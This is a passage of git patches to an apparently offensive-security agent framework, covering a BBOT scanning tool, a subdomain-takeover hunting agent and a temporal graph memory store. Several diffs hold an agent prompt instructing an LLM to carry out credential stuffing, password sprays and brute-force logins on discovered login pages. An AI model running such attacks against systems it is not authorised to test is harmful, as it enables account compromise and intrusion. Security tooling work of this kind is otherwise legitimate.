None, + presets: list[str] | None = None, + flags: list[str] | None = None, + config: dict[str, t.Any] | None = None, + ) -> "BBotTool": """Factory method to create and initialize a BBOT Tool.""" try: - instance = cls(name=tool_name, **kwargs) + instance = cls( + targets=targets, + modules=modules or [], + presets=presets or [], + flags=flags or [], + config=config or {}, + ) + instance.scan = Scanner( + *instance.targets, + modules=instance.modules, + presets=instance.presets, + flags=instance.flags, + config=instance.config, + dispatcher=instance.dispatcher, + ) except (ValueError, TypeError) as e: - raise ValueError(f"Failed to create BBOT Tool with tool_name '{tool_name}': {e}") from e + raise ValueError( + f"Failed to create BBOT Tool with tool_name '{instance.tool_name}': {e}" + ) from e return instance @@ -57,14 +84,7 @@ def get_events(self) -> None: preset = Preset(_log=True, name="bbot_cli_main") console.print(events_table(preset.module_loader)) - async def run( - self, - targets: list[str], - modules: list[str] | None = None, - presets: list[str] | None = None, - flags: list[str] | None = None, - config: list[str] | None = None, - ) -> str: + async def run(self) -> str: r""" Executes a BBOT scan against the specified targets. @@ -85,29 +105,8 @@ async def run( Returns: The standard output from the bbot command, summarizing the scan. """ - if not targets: + if not self.targets: raise ValueError("At least one target is required to run a scan.") - user_config_path = Path("~/.config/bbot/bbot.yaml").expanduser().resolve() - repo_config_path = self.config_dir / "bbot.yaml" - if ( - user_config_path.exists() - and repo_config_path.exists() - and user_config_path.read_text() != repo_config_path.read_text() - ): - logger.warning( - f"User and repo `bbot.yml` config files differ. When running BBOT locally, " - f"BBOT always reads from {user_config_path} - update settings there as needed." - ) - - scan = Scanner( - *targets, - modules=modules or [], - presets=presets or [], - flags=flags or [], - config=config or {}, - dispatcher=self.dispatcher, - ) - - async for event in scan.async_start(): + async for event in self.scan.async_start(): yield event diff --git a/examples/agents/bbot/agent.py b/examples/agents/bbot/agent.py index f93c3f2a..c087439a 100644 --- a/examples/agents/bbot/agent.py +++ b/examples/agents/bbot/agent.py @@ -59,39 +59,42 @@ async def scan( console.print("[red]Error:[/red] No targets provided. Use --targets to specify targets.\n") return - dn.configure(server="https://platform.dreadnode.io", project="bug-bounty-rea") + tool = await BBotTool.create( + targets=loaded_targets, presets=presets, modules=modules, flags=flags, config=config + ) - with dn.run("scan-name", tags=presets): - dn.log_params( - targets=loaded_targets, - presets=presets, - modules=modules, - flags=flags, - config=config, - ) + dn.configure(server="https://platform.dreadnode.io", project="bount-rea") - tool = await BBotTool.create() - events = tool.run( + with dn.run(tool.scan.name, tags=presets): + dn.log_params( targets=loaded_targets, presets=presets, modules=modules, flags=flags, config=config, + scan=tool.scan.id, ) - all_events = [] + events = tool.run() async for event in events: console.print(event) - all_events.append(event) - # Add your agent logic here to process events - # if event.type == "FINDING": - # await agent.run(...) - - for event in all_events: with dn.task_span(event.type): dn.log_output("event", event.json(siem_friendly=True)) - dn.log_metric(event.type, 1, mode="count", to="task-or-run") + dn.log_metric(event.type, 1, mode="count", to="run") + # Add your agent logic here to process events + if event.type == "WEBSCREENSHOT": + image_path = f"{tool.scan.core.scans_dir}/{tool.scan.name}/{event.data['path']}" + console.print(event.json()) + console.print( + f"[bold green]Web Screenshot saved to:[/bold green] {event.data['path']}" + ) + dn.log_output( + "webscreenshot", + dn.Image(image_path), + ) + dn.log_artifact(image_path) + # await agent.run(...) # Usage From 9b7e022efc7f3d412c0f358a281a67b619cb6bf5 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Sat, 30 Aug 2025 22:39:00 -0600 Subject: [PATCH 42/60] refactor sub-agent --- examples/agents/bbot/agent.py | 31 +-- examples/agents/kali/auth.py | 17 ++ examples/agents/subdomain_takeover/agent.py | 266 ++++++++++---------- 3 files changed, 150 insertions(+), 164 deletions(-) create mode 100644 examples/agents/kali/auth.py diff --git a/examples/agents/bbot/agent.py b/examples/agents/bbot/agent.py index eba4d0cc..95f3322a 100644 --- a/examples/agents/bbot/agent.py +++ b/examples/agents/bbot/agent.py @@ -1,24 +1,15 @@ from pathlib import Path +from cyclopts import App from rich.console import Console import dreadnode as dn -from dreadnode.agent.agent import Agent from dreadnode.agent.tools.bbot.tool import BBotTool -from dreadnode.agent.tools.kali.tool import KaliTool console = Console() -from cyclopts import App - app = App() -agent = Agent( - name="bbot-agent", - description="An agent that uses BBOT to perform various tasks.", - model="meta-llama/llama-4-scout-17b-16e-instruct", -) - @app.command async def modules() -> None: @@ -60,24 +51,6 @@ async def scan( console.print("[red]Error:[/red] No targets provided. Use --targets to specify targets.\n") return - auth_agent = Agent( - name="auth-brute-forcer", - description="Performs credential stuffing, password sprays and brute force attacks on login pages", - model="groq/moonshotai/kimi-k2-instruct", - tools=[BBotTool(), KaliTool()], - instructions="""You are an expert at credential testing and authentication bypass. - - When you find login pages and authentication services, your job is to: - 1. Identify the login form and authentication mechanism - 2. Test common default credentials using the tools and wordlists provided - 3. Suggest any additional required brute force attack strategies - 4. Report successful authentications, interesting findings or errors encountered worth noting - - IMPORTANT: Don't just suggest strategies - actually execute credential testing using your available tools. - Be systematic and thorough in your credential testing approach. - """, - ) - tool = await BBotTool.create( targets=loaded_targets, presets=presets, modules=modules, flags=flags, config=config ) @@ -101,7 +74,7 @@ async def scan( with dn.task_span(event.type): dn.log_output("event", event.json(siem_friendly=True)) dn.log_metric(event.type, 1, mode="count", to="run") - # Add your agent logic here to process events + # Add your agents here to process events if event.type == "WEBSCREENSHOT": image_path = f"{tool.scan.core.scans_dir}/{tool.scan.name}/{event.data['path']}" console.print(event.json()) diff --git a/examples/agents/kali/auth.py b/examples/agents/kali/auth.py new file mode 100644 index 00000000..bd1ca369 --- /dev/null +++ b/examples/agents/kali/auth.py @@ -0,0 +1,17 @@ +# auth_agent = Agent( +# name="auth-brute-forcer", +# description="Performs credential stuffing, password sprays and brute force attacks on login pages", +# model="groq/moonshotai/kimi-k2-instruct", +# tools=[BBotTool(), KaliTool()], +# instructions="""You are an expert at credential testing and authentication bypass. + +# When you find login pages and authentication services, your job is to: +# 1. Identify the login form and authentication mechanism +# 2. Test common default credentials using the tools and wordlists provided +# 3. Suggest any additional required brute force attack strategies +# 4. Report successful authentications, interesting findings or errors encountered worth noting + +# IMPORTANT: Don't just suggest strategies - actually execute credential testing using your available tools. +# Be systematic and thorough in your credential testing approach. +# """, +# ) diff --git a/examples/agents/subdomain_takeover/agent.py b/examples/agents/subdomain_takeover/agent.py index f0ff5d32..bb3a6dfd 100644 --- a/examples/agents/subdomain_takeover/agent.py +++ b/examples/agents/subdomain_takeover/agent.py @@ -5,112 +5,72 @@ import typing as t from pathlib import Path -import dreadnode as dn -import pydantic.dataclasses from rich.console import Console +import dreadnode as dn from dreadnode.agent.agent import Agent from dreadnode.agent.result import AgentResult from dreadnode.agent.tools.bbot.tool import BBotTool from dreadnode.agent.tools.kali.tool import KaliTool from dreadnode.agent.tools.neo4j.tool import Neo4jTool -# Import necessary components for Pydantic dataclass fix -from dreadnode.agent.events import ( - AgentEnd, - AgentError, - AgentStalled, - AgentStart, - Event, - GenerationEnd, - StepStart, - ToolEnd, - ToolStart, -) - -# Rebuild dataclasses after all imports are complete -try: - from dreadnode.agent.state import State - from dreadnode.agent.reactions import Reaction - - critical_classes = [ - Event, - AgentStart, - StepStart, - GenerationEnd, - AgentStalled, - AgentError, - ToolStart, - ToolEnd, - AgentEnd, - ] - - for event_class in critical_classes: - pydantic.dataclasses.rebuild_dataclass(event_class) -except Exception: - pass - - -"""Usage: -uv run python examples/agents/subdomain_takeover/agent.py validate test.example.com -uv run python examples/agents/subdomain_takeover/agent.py hunt --targets "/path/to/dir/subdomains.txt" -""" - - # Configure Dreadnode -dn.configure(server=None, token=None, project="subdomain-takeover-agent", console=False) - - console = Console() -@dn.task( - name="Analyze Subdomain", - label="analyze_subdomain" -) +@dn.task(name="Analyze Subdomain", label="analyze_subdomain") async def analyze_subdomain(subdomain: str) -> dict: """Analyze a single subdomain for takeover vulnerabilities.""" takeover_agent = create_takeover_agent() - + result = await takeover_agent.run( f"Analyze the subdomain '{subdomain}' for potential takeover vulnerabilities. " f"Use your tools as needed and provide a concise risk assessment." ) - + tool_outputs = {} tools_used = [] - + for message in result.messages: if message.role == "assistant" and message.tool_calls: for tool_call in message.tool_calls: tools_used.append(tool_call.function.name) elif message.role == "tool": - tool_name = getattr(message, 'name', 'unknown') + tool_name = getattr(message, "name", "unknown") tool_outputs[tool_name] = message.content dn.log_output(f"tool_output_{tool_name}", message.content) - + if "Commands executed:" in message.content: - commands_section = message.content.split("Commands executed:")[1].split("Results:")[0] - commands = [line.strip() for line in commands_section.strip().split('\n') if line.strip()] + commands_section = message.content.split("Commands executed:")[1].split("Results:")[ + 0 + ] + commands = [ + line.strip() for line in commands_section.strip().split("\n") if line.strip() + ] dn.log_output(f"executed_commands_{tool_name}", commands) - + finding_stored = "store_subdomain_takeover_finding" in tools_used has_finding = finding_stored if result.messages and result.messages[-1].content: has_finding = has_finding or any( - phrase in result.messages[-1].content.lower() + phrase in result.messages[-1].content.lower() for phrase in [ - "potential takeover", "subdomain takeover vulnerability", "takeover vulnerability", - "vulnerable to takeover", "dangling cname", "unclaimed resource", - "takeover indicator", "successful subdomain takeover" + "potential takeover", + "subdomain takeover vulnerability", + "takeover vulnerability", + "vulnerable to takeover", + "dangling cname", + "unclaimed resource", + "takeover indicator", + "successful subdomain takeover", ] ) - + dn.log_metric("tools_used", len(tools_used)) dn.log_metric("has_finding", 1 if has_finding else 0) dn.log_metric("stored_in_db", 1 if finding_stored else 0) dn.log_output("raw_tool_data", tool_outputs) - + analysis_result = { "subdomain": subdomain, "tools_used": tools_used, @@ -118,9 +78,9 @@ async def analyze_subdomain(subdomain: str) -> dict: "analysis": result.messages[-1].content if result.messages else None, "steps": result.steps, "has_finding": has_finding, - "stored_in_db": finding_stored + "stored_in_db": finding_stored, } - + return analysis_result @@ -172,7 +132,7 @@ def display_analysis_result(result: AgentResult, subdomain: str, debug: bool = F tools_used.append(tool_call.function.name) elif message.role == "tool" and debug: # Capture tool outputs for debugging - tool_name = getattr(message, 'name', 'unknown') + tool_name = getattr(message, "name", "unknown") tool_outputs[tool_name] = message.content if tools_used: @@ -180,9 +140,13 @@ def display_analysis_result(result: AgentResult, subdomain: str, debug: bool = F # Show raw tool outputs in debug mode if debug and tool_outputs: - console.print(f"\n[DEBUG] Raw tool outputs:") + console.print("\n[DEBUG] Raw tool outputs:") for tool_name, output in tool_outputs.items(): - console.print(f" {tool_name}: {output[:200]}..." if len(output) > 200 else f" {tool_name}: {output}") + console.print( + f" {tool_name}: {output[:200]}..." + if len(output) > 200 + else f" {tool_name}: {output}" + ) final_message = result.messages[-1] if final_message.content: @@ -195,14 +159,20 @@ def display_analysis_result_from_task(analysis_result: dict, debug: bool = False """Display analysis result from task.""" console.print(f"Agent used: {', '.join(analysis_result['tools_used'])}") - if debug and analysis_result['tool_outputs']: - console.print(f"\n[DEBUG] Raw tool outputs:") - for tool_name, output in analysis_result['tool_outputs'].items(): - console.print(f" {tool_name}: {output[:200]}..." if len(output) > 200 else f" {tool_name}: {output}") + if debug and analysis_result["tool_outputs"]: + console.print("\n[DEBUG] Raw tool outputs:") + for tool_name, output in analysis_result["tool_outputs"].items(): + console.print( + f" {tool_name}: {output[:200]}..." + if len(output) > 200 + else f" {tool_name}: {output}" + ) console.print(f"\nAnalysis for {analysis_result['subdomain']}:") - console.print(analysis_result['analysis']) - console.print(f"\nProcessed {len(analysis_result['tool_outputs'])} tool calls in {analysis_result['steps']} steps") + console.print(analysis_result["analysis"]) + console.print( + f"\nProcessed {len(analysis_result['tool_outputs'])} tool calls in {analysis_result['steps']} steps" + ) async def modules() -> None: @@ -253,9 +223,9 @@ async def hunt( target_count=len(targets), presets=presets or [], modules=modules or [], - flags=flags or [] + flags=flags or [], ) - + # Log inputs dn.log_input("targets", targets) if presets: @@ -266,7 +236,7 @@ async def hunt( dn.log_input("flags", flags) if config: dn.log_input("config", str(config)) - + console.print(f"Starting subdomain takeover hunt on {len(targets)} targets") tool = await BBotTool.create() @@ -293,37 +263,49 @@ async def hunt( console.print(f"Analyzing subdomain: {subdomain}") analysis_result = await analyze_subdomain(subdomain) - + console.print(f"Agent used: {', '.join(analysis_result['tools_used'])}") console.print(f"\nAnalysis for {subdomain}:") - console.print(analysis_result['analysis']) - console.print(f"\nProcessed {len(analysis_result['tool_outputs'])} tool calls in {analysis_result['steps']} steps") - + console.print(analysis_result["analysis"]) + console.print( + f"\nProcessed {len(analysis_result['tool_outputs'])} tool calls in {analysis_result['steps']} steps" + ) + analyzed_count += 1 dn.log_metric("subdomains_analyzed", analyzed_count) - - finding_stored = "store_subdomain_takeover_finding" in analysis_result['tools_used'] - - if finding_stored or (analysis_result['analysis'] and any( - phrase in analysis_result['analysis'].lower() - for phrase in [ - "potential takeover", "subdomain takeover vulnerability", "takeover vulnerability", - "vulnerable to takeover", "dangling cname", "unclaimed resource", - "takeover indicator", "successful subdomain takeover" - ] - )): + + finding_stored = ( + "store_subdomain_takeover_finding" in analysis_result["tools_used"] + ) + + if finding_stored or ( + analysis_result["analysis"] + and any( + phrase in analysis_result["analysis"].lower() + for phrase in [ + "potential takeover", + "subdomain takeover vulnerability", + "takeover vulnerability", + "vulnerable to takeover", + "dangling cname", + "unclaimed resource", + "takeover indicator", + "successful subdomain takeover", + ] + ) + ): findings_count += 1 dn.log_metric("findings_found", findings_count) - + security_finding = { "subdomain": subdomain, "finding_type": "subdomain_takeover", "risk_level": "high", - "analysis": analysis_result['analysis'], - "tool_outputs": analysis_result['tool_outputs'], - "steps": analysis_result['steps'], + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "steps": analysis_result["steps"], "timestamp": time.time(), - "stored_in_db": finding_stored + "stored_in_db": finding_stored, } findings.append(security_finding) dn.log_output(f"finding_{subdomain}", security_finding) @@ -359,18 +341,21 @@ async def hunt( except Exception as e: console.print(f"Error validating finding: {e}") - + dn.log_metric("subdomains_analyzed", analyzed_count) dn.log_metric("findings_found", findings_count) dn.log_output("security_findings", findings) - dn.log_output("summary", { - "total_targets": len(targets), - "subdomains_analyzed": analyzed_count, - "findings_found": findings_count, - "findings": findings - }) - - console.print(f"\n📊 Task Summary:") + dn.log_output( + "summary", + { + "total_targets": len(targets), + "subdomains_analyzed": analyzed_count, + "findings_found": findings_count, + "findings": findings, + }, + ) + + console.print("\n📊 Task Summary:") console.print(f" Subdomains analyzed: {analyzed_count}") console.print(f" Security findings: {findings_count}") @@ -382,47 +367,58 @@ async def validate(subdomain: str, debug: bool = False) -> None: with dn.run("subdomain-takeover-validate"): # Log parameters dn.log_params(subdomain=subdomain) - + # Log inputs dn.log_input("subdomain", subdomain) - + console.print(f"Validating subdomain: {subdomain}") try: analysis_result = await analyze_subdomain(subdomain) - + display_analysis_result_from_task(analysis_result, debug=debug) - - finding_stored = "store_subdomain_takeover_finding" in analysis_result['tools_used'] - has_finding = finding_stored or (analysis_result['analysis'] and any( - phrase in analysis_result['analysis'].lower() - for phrase in [ - "potential takeover", "subdomain takeover vulnerability", "takeover vulnerability", - "vulnerable to takeover", "dangling cname", "unclaimed resource", - "takeover indicator", "successful subdomain takeover" - ] - )) - + + finding_stored = "store_subdomain_takeover_finding" in analysis_result["tools_used"] + has_finding = finding_stored or ( + analysis_result["analysis"] + and any( + phrase in analysis_result["analysis"].lower() + for phrase in [ + "potential takeover", + "subdomain takeover vulnerability", + "takeover vulnerability", + "vulnerable to takeover", + "dangling cname", + "unclaimed resource", + "takeover indicator", + "successful subdomain takeover", + ] + ) + ) + if has_finding: security_finding = { "subdomain": subdomain, - "finding_type": "subdomain_takeover", + "finding_type": "subdomain_takeover", "risk_level": "high", - "analysis": analysis_result['analysis'], - "tool_outputs": analysis_result['tool_outputs'], - "steps": analysis_result['steps'], + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "steps": analysis_result["steps"], "timestamp": time.time(), - "stored_in_db": finding_stored + "stored_in_db": finding_stored, } dn.log_output("security_finding", security_finding) - - dn.log_output("analysis_result", { - "subdomain": subdomain, - "has_finding": has_finding, - "analysis": analysis_result['analysis'], - "tool_outputs": analysis_result['tool_outputs'], - "steps": analysis_result['steps'] - }) + + dn.log_output( + "analysis_result", + { + "subdomain": subdomain, + "has_finding": has_finding, + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "steps": analysis_result["steps"], + }, + ) dn.log_metric("findings_found", 1 if has_finding else 0) dn.log_metric("subdomains_analyzed", 1) From 9dbd1f59b4b4096e544f95d89d4ee928f8d025ae Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Mon, 1 Sep 2025 02:16:29 -0600 Subject: [PATCH 43/60] posterity --- dreadnode/agent/agent.py | 7 - dreadnode/agent/handler.py | 51 ++- dreadnode/agent/memory/backend/__init__.py | 0 .../agent/memory/backend/pandas_backend.py | 150 +++++++ dreadnode/agent/memory/backend/steps.py | 138 +++++++ dreadnode/agent/memory/export/__init__.py | 0 .../agent/memory/export/networkx_export.py | 45 +++ dreadnode/agent/memory/export/pyg_export.py | 108 +++++ dreadnode/agent/memory/graph/__init__.py | 0 dreadnode/agent/memory/graph/adapter.py | 45 +++ dreadnode/agent/memory/graph/base.py | 153 +++++++ dreadnode/agent/memory/memory.py | 381 ++++++++++++++++++ dreadnode/agent/tools/base.py | 10 + dreadnode/agent/tools/bbot/tool.py | 135 +++---- dreadnode/agent/tools/loader.py | 86 ++++ dreadnode/agent/tools/manifest.py | 129 ++++++ dreadnode/agent/tools/registry.py | 86 ++++ dreadnode/artifact/storage.py | 6 +- dreadnode/artifact/tree_builder.py | 6 +- examples/agents/bbot/agent.py | 145 +++++-- examples/agents/subdomain_takeover/agent.py | 24 -- poetry.lock | 17 +- pyproject.toml | 1 + 23 files changed, 1549 insertions(+), 174 deletions(-) create mode 100644 dreadnode/agent/memory/backend/__init__.py create mode 100644 dreadnode/agent/memory/backend/pandas_backend.py create mode 100644 dreadnode/agent/memory/backend/steps.py create mode 100644 dreadnode/agent/memory/export/__init__.py create mode 100644 dreadnode/agent/memory/export/networkx_export.py create mode 100644 dreadnode/agent/memory/export/pyg_export.py create mode 100644 dreadnode/agent/memory/graph/__init__.py create mode 100644 dreadnode/agent/memory/graph/adapter.py create mode 100644 dreadnode/agent/memory/graph/base.py create mode 100644 dreadnode/agent/memory/memory.py create mode 100644 dreadnode/agent/tools/loader.py create mode 100644 dreadnode/agent/tools/manifest.py create mode 100644 dreadnode/agent/tools/registry.py diff --git a/dreadnode/agent/agent.py b/dreadnode/agent/agent.py index 3a12d58e..e40469cd 100644 --- a/dreadnode/agent/agent.py +++ b/dreadnode/agent/agent.py @@ -20,7 +20,6 @@ from dreadnode.agent.configurable import configurable from dreadnode.agent.events import Event -from dreadnode.agent.handler import AgentEventHandler from dreadnode.agent.reactions import Hook from dreadnode.agent.result import AgentResult from dreadnode.agent.state import State @@ -75,12 +74,6 @@ class Agent(BaseModel): repr=False, ), ] = None - _agent_event_handler: t.Annotated[ - AgentEventHandler | None, - Field( - exclude=True, repr=False, description="Optional event hander to handle agent events." - ), - ] = None _generator: t.Annotated[Generator | None, Field(default=None, init=False, repr=False)] = None diff --git a/dreadnode/agent/handler.py b/dreadnode/agent/handler.py index aa95b34b..dae981da 100644 --- a/dreadnode/agent/handler.py +++ b/dreadnode/agent/handler.py @@ -10,33 +10,40 @@ from dreadnode.agent.types import Message, ToolCall, Usage -class AgentEventHandler: - def on_agent_start(self, agent: "Agent") -> Event: - logger.info(f"Agent started: {agent.name}") +def on_agent_start(self, agent: "Agent") -> Event: + logger.info(f"Agent started: {agent.name}") - def on_step_start(self, step: int) -> Event: - logger.info(f"Step {step} started") - def on_generation_end(self, message: "Message", usage: Optional["Usage"]) -> Event: - logger.info(f"Generation ended with message: {message.content}") +def on_step_start(self, step: int) -> Event: + logger.info(f"Step {step} started") - def on_tool_start(self, tool_call: "ToolCall") -> Event: - logger.info(f"Tool started: {tool_call.name}") - def on_tool_end(self, tool_call: "ToolCall", message: "Message", stop: bool) -> Event: - logger.info(f"Tool ended: {tool_call.name} with message: {message.content}") +def on_generation_end(self, message: "Message", usage: Optional["Usage"]) -> Event: + logger.info(f"Generation ended with message: {message.content}") - def on_agent_stalled(self, agent: "Agent") -> Event: - logger.warning("Agent has stalled") - def on_agent_error(self, error: Exception) -> Event: - logger.error(f"Agent encountered an error: {error}") +def on_tool_start(self, tool_call: "ToolCall") -> Event: + logger.info(f"Tool started: {tool_call.name}") - def on_agent_end(self, agent: "Agent") -> Event: - logger.info(f"{agent.name} has completed its run") - def catch(self, callback, *args, **kwargs): - try: - return callback(*args, **kwargs) - except Exception as e: - logger.error(f"Error in {callback.__qualname__}(): {e}") +def on_tool_end(self, tool_call: "ToolCall", message: "Message", stop: bool) -> Event: + logger.info(f"Tool ended: {tool_call.name} with message: {message.content}") + + +def on_agent_stalled(self, agent: "Agent") -> Event: + logger.warning("Agent has stalled") + + +def on_agent_error(self, error: Exception) -> Event: + logger.error(f"Agent encountered an error: {error}") + + +def on_agent_end(self, agent: "Agent") -> Event: + logger.info(f"{agent.name} has completed its run") + + +def catch(self, callback, *args, **kwargs): + try: + return callback(*args, **kwargs) + except Exception as e: + logger.error(f"Error in {callback.__qualname__}(): {e}") diff --git a/dreadnode/agent/memory/backend/__init__.py b/dreadnode/agent/memory/backend/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/memory/backend/pandas_backend.py b/dreadnode/agent/memory/backend/pandas_backend.py new file mode 100644 index 00000000..f5bddb78 --- /dev/null +++ b/dreadnode/agent/memory/backend/pandas_backend.py @@ -0,0 +1,150 @@ +from dataclasses import dataclass +from datetime import datetime, timezone +from pathlib import Path + +import pandas as pd +import pyarrow as pa +import pyarrow.parquet as pq + +pd.options.mode.copy_on_write = True + + +@dataclass +class GroupPaths: + base: Path + nodes: Path + edge_events: Path + + +class PandasTemporalStore: + """ + Parquet-backed temporal graph store: + - nodes.parquet: uuid, group_id, label, name, created_at, attributes + - edge_events.parquet: group_id, src_uuid, dst_uuid, type, event_ts, event_kind, attributes + + Derives intervals [valid_from, valid_to) via groupby+shift(-1). + """ + + def __init__(self, root: str = "./lake_pandas"): + self.root = Path(root).resolve() + self.root.mkdir(parents=True, exist_ok=True) + + def _paths(self, group_id: str) -> GroupPaths: + """ + Returns paths for the given group_id. + If the group_id is "default", it will use the root directory. + """ + base = self.root / (group_id or "default") + base.mkdir(parents=True, exist_ok=True) + return GroupPaths( + base=base, nodes=base / "nodes.parquet", edge_events=base / "edge_events.parquet" + ) + + def _append_parquet(self, path: Path, df: pd.DataFrame) -> None: + """ + Append a DataFrame to a Parquet file. + """ + table = pa.Table.from_pandas(df, preserve_index=False) + pq.write_table(table, path, existing_data_behavior="append") + + def add_entities_df( + self, + *, + group_id: str, + nodes_df: pd.DataFrame | None = None, + edges_df: pd.DataFrame | None = None, + default_ts: datetime | None = None, + ) -> None: + """ + Add nodes and edges to the store. + If nodes_df is provided, it must contain columns: uuid, group_id, label, name, created_at, attributes. + If edges_df is provided, it must contain columns: src_uuid, dst_uuid, type, event_ts, event_kind, attributes. + The event_ts in edges_df is optional; if not provided, default_ts will be used. + """ + p = self._paths(group_id) + if nodes_df is not None and len(nodes_df): + self._append_parquet(p.nodes, nodes_df) + if edges_df is not None and len(edges_df): + edges_df_copy = edges_df.copy() + if "event_ts" not in edges_df_copy: + edges_df_copy["event_ts"] = pd.Timestamp( + default_ts or datetime.now(timezone.utc), tz="UTC" + ) + self._append_parquet(p.edge_events, edges_df_copy) + + def nodes_df(self, group_id: str, subset_uuids: list[str] | None = None) -> pd.DataFrame: + """ + Returns a DataFrame of nodes for the given group_id. + If subset_uuids is provided, only those nodes are returned. + """ + + p = self._paths(group_id) + if not p.nodes.exists(): + return pd.DataFrame( + columns=["uuid", "group_id", "label", "name", "created_at", "attributes"] + ) + nodes_df = pq.read_table(p.nodes).to_pandas() + nodes_df = nodes_df[nodes_df["group_id"] == group_id].copy() + if subset_uuids: + nodes_df = nodes_df[nodes_df["uuid"].isin(subset_uuids)] + nodes_df.sort_values(["uuid", "created_at"], inplace=True) + nodes_df = nodes_df.drop_duplicates(subset=["uuid"], keep="last") + return nodes_df.reset_index(drop=True) + + def _intervals(self, *, group_id: str) -> pd.DataFrame: + """ + Returns a DataFrame of edges with valid_from and valid_to timestamps. + The valid_to is NaT if the edge is still valid. + """ + + p = self._paths(group_id) + if not p.edge_events.exists(): + return pd.DataFrame(columns=["src", "dst", "type", "valid_from", "valid_to"]) + ev = pq.read_table(p.edge_events).to_pandas() + ev = ev[ev["group_id"] == group_id].copy() + if ev.empty: + return pd.DataFrame(columns=["src", "dst", "type", "valid_from", "valid_to"]) + + ev["event_ts"] = pd.to_datetime(ev["event_ts"], utc=True) + ev.sort_values(["src_uuid", "dst_uuid", "type", "event_ts"], inplace=True) + ev["next_ts"] = ev.groupby(["src_uuid", "dst_uuid", "type"], sort=False)["event_ts"].shift( + -1 + ) + starts = ev[ev["event_kind"] == "open"].copy() + starts.rename( + columns={ + "src_uuid": "src", + "dst_uuid": "dst", + "event_ts": "valid_from", + "next_ts": "valid_to", + }, + inplace=True, + ) + return starts[["src", "dst", "type", "valid_from", "valid_to"]] + + def edges_as_of(self, *, group_id: str, as_of: datetime) -> pd.DataFrame: + """ + Returns edges that are valid as of the given timestamp. + The timestamp is inclusive, meaning if an edge was valid at that time, it will be included. + """ + + iv = self._intervals(group_id=group_id) + if iv.empty: + return iv + ts = pd.Timestamp(as_of, tz="UTC") + mask = (iv["valid_from"] <= ts) & (iv["valid_to"].isna() | (iv["valid_to"] > ts)) + return iv.loc[mask, ["src", "dst", "type"]].reset_index(drop=True) + + def edges_in_window(self, *, group_id: str, start: datetime, end: datetime) -> pd.DataFrame: + """ + Returns edges that are valid in the given time window. + The window is inclusive of start and exclusive of end. + """ + + iv = self._intervals(group_id=group_id) + if iv.empty: + return iv + s = pd.Timestamp(start, tz="UTC") + e = pd.Timestamp(end, tz="UTC") + mask = (iv["valid_from"] < e) & (iv["valid_to"].isna() | (iv["valid_to"] > s)) + return iv.loc[mask, ["src", "dst", "type"]].reset_index(drop=True) diff --git a/dreadnode/agent/memory/backend/steps.py b/dreadnode/agent/memory/backend/steps.py new file mode 100644 index 00000000..cc01bc69 --- /dev/null +++ b/dreadnode/agent/memory/backend/steps.py @@ -0,0 +1,138 @@ +from datetime import datetime +from pathlib import Path + +import pandas as pd +import pyarrow as pa +import pyarrow.parquet as pq + +from dreadnode.agent.memory.backend.pandas_backend import PandasTemporalStore + +STEPS_SCHEMA = pa.schema( + [ + pa.field("group_id", pa.string()), + pa.field("step_id", pa.int64()), + pa.field("start_ts", pa.timestamp("us", tz="UTC")), + pa.field("end_ts", pa.timestamp("us", tz="UTC")), + pa.field("center_ts", pa.timestamp("us", tz="UTC")), + pa.field("label", pa.string()), + ] +) + + +def _steps_path(root: Path, group_id: str) -> Path: + p = root / (group_id or "default") / "steps.parquet" + p.parent.mkdir(parents=True, exist_ok=True) + return p + + +def build_steps_fixed( + root: str | Path, + group_id: str, + *, + freq: str = "1H", + start: datetime | None = None, + end: datetime | None = None, + label_prefix: str = "", +) -> pd.DataFrame: + root = Path(root) + ev_path = root / (group_id or "default") / "edge_events.parquet" + if (start is None or end is None) and ev_path.exists(): + ev = pq.read_table(ev_path, columns=["event_ts"]).to_pandas() + if not ev.empty: + s_min = pd.to_datetime(ev["event_ts"], utc=True).min() + s_max = pd.to_datetime(ev["event_ts"], utc=True).max() + start = start or s_min.floor(freq) + end = end or (s_max.ceil(freq) + pd.Timedelta(freq)) + if start is None or end is None: + raise ValueError("Provide start/end or ingest edge events first.") + + rng = pd.date_range(start=start, end=end, freq=freq, inclusive="left", tz="UTC") + df = pd.DataFrame( + { + "group_id": group_id, + "step_id": range(len(rng)), + "start_ts": rng, + "end_ts": rng + pd.Timedelta(freq), + } + ) + df["center_ts"] = df["start_ts"] + (df["end_ts"] - df["start_ts"]) / 2 + df["label"] = [f"{label_prefix}{i}" for i in df["step_id"]] + + path = _steps_path(root, group_id) + pq.write_table( + pa.Table.from_pandas(df, preserve_index=False, schema=STEPS_SCHEMA), + path, + existing_data_behavior="overwrite", + ) + return df + + +def load_steps(root: str | Path, group_id: str) -> pd.DataFrame: + path = _steps_path(Path(root), group_id) + if not path.exists(): + return pd.DataFrame( + columns=["group_id", "step_id", "start_ts", "end_ts", "center_ts", "label"] + ) + return pq.read_table(path).to_pandas() + + +def time_to_step(steps_df: pd.DataFrame, ts: datetime) -> int | None: + t = pd.Timestamp(ts, tz="UTC") + m = (steps_df["start_ts"] <= t) & (t < steps_df["end_ts"]) + if not m.any(): + return None + return int(steps_df.loc[m, "step_id"].iloc[0]) + + +def step_to_time(steps_df: pd.DataFrame, step_id: int, which: str = "center") -> pd.Timestamp: + row = steps_df.loc[steps_df["step_id"] == step_id] + if row.empty: + raise KeyError(f"step_id {step_id} not found") + return pd.Timestamp(row[f"{which}_ts"].iloc[0], tz="UTC") + + +# ----- snapshot helpers ----- +def edges_at_step( + store: PandasTemporalStore, steps_df: pd.DataFrame, group_id: str, step_id: int +) -> pd.DataFrame: + row = steps_df.loc[steps_df["step_id"] == step_id] + if row.empty: + return pd.DataFrame(columns=["src", "dst", "type"]) + return store.edges_in_window( + group_id=group_id, start=row["start_ts"].iloc[0], end=row["end_ts"].iloc[0] + ) + + +# (optional) delta-based multi-step acceleration +def step_deltas_from_events( + root: str | Path, group_id: str, steps_df: pd.DataFrame +) -> pd.DataFrame: + root = Path(root) + ev_path = root / (group_id or "default") / "edge_events.parquet" + if not ev_path.exists(): + return pd.DataFrame(columns=["src", "dst", "type", "step_id", "delta"]) + ev = 